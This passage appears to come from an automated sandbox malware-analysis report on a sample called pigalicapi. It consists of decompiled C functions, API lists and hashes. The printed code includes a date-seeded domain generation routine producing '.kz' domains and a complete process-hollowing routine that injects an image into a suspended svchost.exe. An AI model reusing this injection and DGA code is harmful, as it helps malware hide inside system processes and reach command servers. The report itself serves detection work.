					L00ECB20A();
					_v34 = 2;
					_push(_a4);
					L00ECB204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L00ECB1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L00ECB1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L00ECB1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L00ECB1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

0x00eca096
0x00eca098
0x00eca09a
0x00eca09c
0x00eca0a1
0x00eca0a8
0x00eca0b7
0x00eca0bf
0x00eca0c0
0x00eca0c5
0x00eca0cc
0x00eca0cd
0x00eca0d2
0x00eca0d9
0x00000000
0x00eca0ea
0x00eca0e5
0x00eca0f2
0x00eca0f9
0x00eca0fd
0x00eca10f
0x00eca117
0x00eca119
0x00eca11c
0x00eca120
0x00eca121
0x00eca128
0x00eca10c
0x00000000
0x00eca10c
0x00eca12a
0x00000000
0x00eca12a
0x00eca138
0x00eca14c
0x00eca151
0x00eca154
0x00eca159
0x00eca15a
0x00eca15f
0x00eca167
0x00eca168
0x00eca16d
0x00eca172
0x00eca173
0x00eca178
0x00eca180
0x00eca181
0x00eca181
0x00000000
0x00eca186
0x00eca13a
0x00eca13d
0x00eca13e
0x00000000
0x00eca143
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 00ECA09C
htons.WS2_32(?), ref: 00ECA0C0
gethostbyname.WS2_32(?), ref: 00ECA0CD
connect.WS2_32(000000FF,?,00000010), ref: 00ECA121
closesocket.WS2_32(000000FF), ref: 00ECA13E

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: 68988c928c45cadebb865ee8780382619d811121677bfdf1816df1b802c18c84
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 14316DB0A0120DABDB14DFA4CA46FEEB7B5AF08318F18565DE5207B2C0D3B29942C752

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00EC9290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x00ec9296
0x00ec92b4
0x00ec92bb
0x00ec92c8
0x00ec92c8
0x00ec92d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 00EC92A7
GetProcAddress.KERNEL32(00000000), ref: 00EC92AE
GetCurrentProcess.KERNEL32(00000000), ref: 00EC92C1

Strings

IsWow64Process, xrefs: 00EC929D
kernel32.dll, xrefs: 00EC92A2

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 3d041214a7087ee0bb7206072fa9b12be3e09b6f746e16bd9da0d2d5c38cfcd1
Instruction ID: e44a7dd2c447a82e1a745c6cd54b1f745cf7d01ae36f157086e910f9054ec478
Opcode Fuzzy Hash: 3d041214a7087ee0bb7206072fa9b12be3e09b6f746e16bd9da0d2d5c38cfcd1
Instruction Fuzzy Hash: C1E01A74D00308FFCB00EBF1DA4DF8CBB78AB08306F6051A8F909B2250D6765A4ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC7250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00EC7250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E00EC16F0(_a8, _a12);
					_t58 =  *0xed18a0; // 0xed3b88
					_v12 = _t58;
					E00EC7D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
					_v16 = 0x80000001;
					if(( *0xed435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E00EC9910();
							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

0x00ec7256
0x00ec725e
0x00ec73af
0x00ec73b5
0x00ec7285
0x00ec7295
0x00ec7298
0x00ec729d
0x00ec72a8
0x00ec72bd
0x00ec72c3
0x00ec72c6
0x00ec72d6
0x00ec72d8
0x00ec72d8
0x00ec72df
0x00ec7301
0x00ec7307
0x00ec730e
0x00ec7331
0x00ec733c
0x00ec7343
0x00ec7349
0x00ec734c
0x00ec734f
0x00ec7353
0x00ec7358
0x00ec735e
0x00ec7364
0x00ec736a
0x00ec736f
0x00ec7374
0x00ec737a
0x00ec7380
0x00ec7383
0x00ec738b
0x00ec7393
0x00ec739f
0x00ec73a1
0x00ec73a1
0x00ec739f
0x00ec73a9
0x00ec73a9
0x00000000
0x00ec7301

APIs

wsprintfA.USER32 ref: 00EC72BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 00EC72F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 00EC7329
GetLocalTime.KERNEL32(?), ref: 00EC7343
RegCloseKey.ADVAPI32(00000000), ref: 00EC73A9

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: a4519fc33d41b12b7fe54df723df58f46a38a6e861ad2aeea05a109532e88128
Instruction ID: fd9038b43d39db2745b114572070500a6d8f9b0ce6dd750f788cd1eab08e6a65
Opcode Fuzzy Hash: a4519fc33d41b12b7fe54df723df58f46a38a6e861ad2aeea05a109532e88128
Instruction Fuzzy Hash: 94416AB4904208DFDB04CF99C985FAEBBB5BF48300F14855CE845AB291D7769946CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EC73C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC73C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E00EC16F0(_a8, _a12);
						_t26 =  *0xed18a0; // 0xed3b88
						_v8 = _t26;
						E00EC7D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0xed435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

0x00ec73ca
0x00ec73e4
0x00ec73eb
0x00ec7401
0x00ec7404
0x00ec7409
0x00ec7414
0x00ec7429
0x00ec7432
0x00ec7442
0x00ec7444
0x00ec7444
0x00ec744b
0x00ec7465
0x00ec746d
0x00ec7473
0x00ec748b
0x00000000
0x00ec7495
0x00ec746d
0x00ec73eb
0x00ec749e

APIs

wsprintfA.USER32 ref: 00EC7429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 00EC7465
GetLocalTime.KERNEL32(?), ref: 00EC7473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 00EC748B
RegCloseKey.ADVAPI32(00000000), ref: 00EC7495

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: fec92b3e52f05c683da238cac65c8a22d830561ac03a3b2612a62a19eb9fef12
Instruction ID: 991616dda6bfc0da1abca932aba44b437fcb6118850719b161e50a4c64447ca3
Opcode Fuzzy Hash: fec92b3e52f05c683da238cac65c8a22d830561ac03a3b2612a62a19eb9fef12
Instruction Fuzzy Hash: C1218E75910208AFDB14CF95DD49FFE7B78BB48704F04845CF914AA180D7769A45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC9650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E00EC7D20(_a4 + _v12,  &_v20, 0, 8);
						E00EC9560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

0x00ec9656
0x00ec9661
0x00ec9685
0x00ec9696
0x00ec9699
0x00ec96b1
0x00ec96bc
0x00ec96cf
0x00ec96d4
0x00ec96df
0x00ec96ef
0x00ec96f8
0x00ec96f8
0x00ec970a
0x00ec9712
0x00ec9712
0x00ec971f
0x00ec971f
0x00ec9728

APIs

lstrlenA.KERNEL32(00000000), ref: 00EC9690
lstrcatA.KERNEL32(00000000,00000000), ref: 00EC96DF
lstrlenA.KERNEL32(00000000), ref: 00EC96E9
lstrlenA.KERNEL32(00000000), ref: 00EC9701
lstrlenA.KERNEL32(00000000), ref: 00EC9719

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 5040fc51d6414cfa590fc877cb0168e24c7220f6b9230cb419ad6588767c16ac
Instruction ID: a7d9aa83de4c21b5557ef116eb60c1230a4c2d33629d2fedd6638e5b2ad5b8df
Opcode Fuzzy Hash: 5040fc51d6414cfa590fc877cb0168e24c7220f6b9230cb419ad6588767c16ac
Instruction Fuzzy Hash: 21216B70800249EFCB04CFA4D989FEE7BB5BF04304F14945DE809A7281D375AA56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC92E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC92E0(intOrPtr _a4, intOrPtr _a8, char _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E00EC97E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_t8 =  &_a12; // 0xec44ef
					_v12 = _t46 +  *_t8;
					_v32 = 0;
					while(_v32 < _a8) {
						E00EC7D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E00EC8BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E00EC9650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x00ec92e9
0x00ec92f4
0x00ec9308
0x00ec931d
0x00ec9322
0x00ec9325
0x00ec9328
0x00ec932b
0x00ec933d
0x00ec9357
0x00ec9371
0x00ec9376
0x00ec9379
0x00ec9380
0x00ec9396
0x00ec9382
0x00ec9388
0x00ec9388
0x00ec93a8
0x00ec93c4
0x00ec93c9
0x00ec93db
0x00ec93e7
0x00ec93f0
0x00ec933a
0x00ec933a
0x00ec933d
0x00ec93fe

APIs

GetLocalTime.KERNEL32(?), ref: 00EC9308

Part of subcall function 00EC8BB0: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8BFF
Part of subcall function 00EC8BB0: GetLastError.KERNEL32 ref: 00EC8C09
Part of subcall function 00EC8BB0: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8C38
Part of subcall function 00EC8BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC8C59
Part of subcall function 00EC8BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00EC8C71
Part of subcall function 00EC8BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 00EC8C99
Part of subcall function 00EC8BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 00EC8CC1
Part of subcall function 00EC8BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 00EC8CD5
Part of subcall function 00EC8BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 00EC93DB

Strings

.kz, xrefs: 00EC93CC
D, xrefs: 00EC9325

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz$D
API String ID: 2740484991-415060247
Opcode ID: 0efe43ac9930b1a411e570d75614489bbb1537286d103692455dbefbee0a40ce
Instruction ID: 2b3d9ad5f9ae9b357335c862756e3763e7b3e13a713b7c35b9ce76da4cf84b37
Opcode Fuzzy Hash: 0efe43ac9930b1a411e570d75614489bbb1537286d103692455dbefbee0a40ce
Instruction Fuzzy Hash: 23311BB1D00209EBCF04DF98C985FEEB7B5EF58304F108099E519B7281E739AA86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC78D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00EC78D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E00EC7B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L00ECB1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x00ec78d6
0x00ec78de
0x00ec78f8
0x00ec790a
0x00ec7922
0x00ec792d
0x00ec792e
0x00ec7933
0x00ec795a
0x00ec7960
0x00ec7907
0x00ec7907
0x00ec7965
0x00ec7965
0x00ec796f

APIs

inet_ntoa.WS2_32(00000000), ref: 00EC792E
wnsprintfA.SHLWAPI ref: 00EC795A

Strings

%s:%u, xrefs: 00EC7949

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 535416a2e8bfcbd5ec4d25ebb0532fd5c73ba8fb1f34a9b7919d54bd90b9421f
Instruction ID: 7f3ccd62e6d2ee14d45615211baaa4b8749f87c67305638ed154abaa438b376d
Opcode Fuzzy Hash: 535416a2e8bfcbd5ec4d25ebb0532fd5c73ba8fb1f34a9b7919d54bd90b9421f
Instruction Fuzzy Hash: 30118E71908208ABCB04CF94CA95FEDBBB4EB50308F04918DE955BA281D336E646CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC1E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E00EC7D20(E00EC7D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x00ec1e66
0x00ec1e71
0x00ec1e8b
0x00ec1e93
0x00ec1ebc
0x00ec1ec2
0x00ec1ecb
0x00ec1ecb
0x00ec1ebc
0x00ec1ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00EC1EB4
CloseHandle.KERNEL32(?), ref: 00EC1EC2

Strings

D, xrefs: 00EC1E93

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 62e31282770ecbef7f47f21a68fa425c9154f19aab6de9c8fde9e716050985a7
Instruction ID: 5ea4574ce48b12aafd18374541923ace5c88871d7fe9e091a46895765289620d
Opcode Fuzzy Hash: 62e31282770ecbef7f47f21a68fa425c9154f19aab6de9c8fde9e716050985a7
Instruction Fuzzy Hash: 07011275A4420CABDB10DB90DD46FEE77B9AB04704F144158FA09BB281D7759E05CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 5172, Parent PID: 6512COMMON

Executed Functions

Function 04001F80 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E04001F80(intOrPtr _a4, signed char _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				void* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t180;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 =  *0x400304c( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					 *0x400304c( &_v276, " ");
					_t121 =  *0x400304c( &_v276, _a12);
				}
				E04001260(_t121,  &_v1012, 0, 0x10);
				E04001260( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04001310(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04001310(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04001310(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E04001C00(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_t180 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40); // executed
						_v1100 = _t180;
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x04001f8d
0x040023d2
0x00000000
0x040023d2
0x04001fa4
0x04001fb6
0x04001fc0
0x04001fce
0x04001fdf
0x04001fdf
0x04001ff0
0x04002003
0x04002008
0x0400200b
0x0400201e
0x04002038
0x04002047
0x04002057
0x0400205d
0x04002064
0x04002090
0x04002098
0x040020ce
0x040020d4
0x040020e1
0x0400214d
0x0400215f
0x04002164
0x04002167
0x04002182
0x0400219e
0x0400222e
0x04002233
0x040021a0
0x040021e2
0x040021e7
0x040021e7
0x0400217c
0x0400217c
0x04002246
0x04002266
0x0400226e
0x040022bc
0x040022c2
0x040022da
0x040022e2
0x04002330
0x04002338
0x04002376
0x0400238a
0x04002392
0x040023b2
0x040023bf
0x040023cc
0x00000000
0x040023cc
0x0400239b
0x00000000
0x040023a1
0x04002343
0x04002350
0x0400235d
0x00000000
0x04002363
0x040022ed
0x040022fa
0x04002307
0x00000000
0x0400230d
0x04002279
0x04002286
0x04002293
0x040022a4
0x00000000
0x040022aa
0x040020f7
0x040020fd
0x0400210a
0x00000000
0x00000000
0x04002115
0x04002122
0x0400212f
0x04002140
0x00000000
0x04002146
0x040020a5
0x00000000
0x04002066
0x00000000
0x04002066

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 04001FA4
lstrcat.KERNEL32(?,\system32\svchost.exe), ref: 04001FB6
lstrcat.KERNEL32(?,0400317C), ref: 04001FCE
lstrcat.KERNEL32(?,00000000), ref: 04001FDF
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 04002057
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 04002090
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040020A5
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 040020CE
VirtualAllocEx.KERNELBASE(?,00000000,?,00103000,00000040), ref: 040020F7
TerminateProcess.KERNEL32(?,00000000), ref: 04002115
CloseHandle.KERNEL32(?), ref: 04002122
CloseHandle.KERNEL32(?), ref: 0400212F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002140

Strings

\system32\svchost.exe, xrefs: 04001FAA
SystemRoot, xrefs: 04001F9F
D, xrefs: 0400200B

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 036fed23e7ee821a2f18e3afc8e3bbde1b7bb66371f9036d2a87dc4e59fe086b
Instruction ID: 1d4488b5fdb617a131862b70200c6806e4887f475a197b4823290bb3b9e97252
Opcode Fuzzy Hash: 036fed23e7ee821a2f18e3afc8e3bbde1b7bb66371f9036d2a87dc4e59fe086b
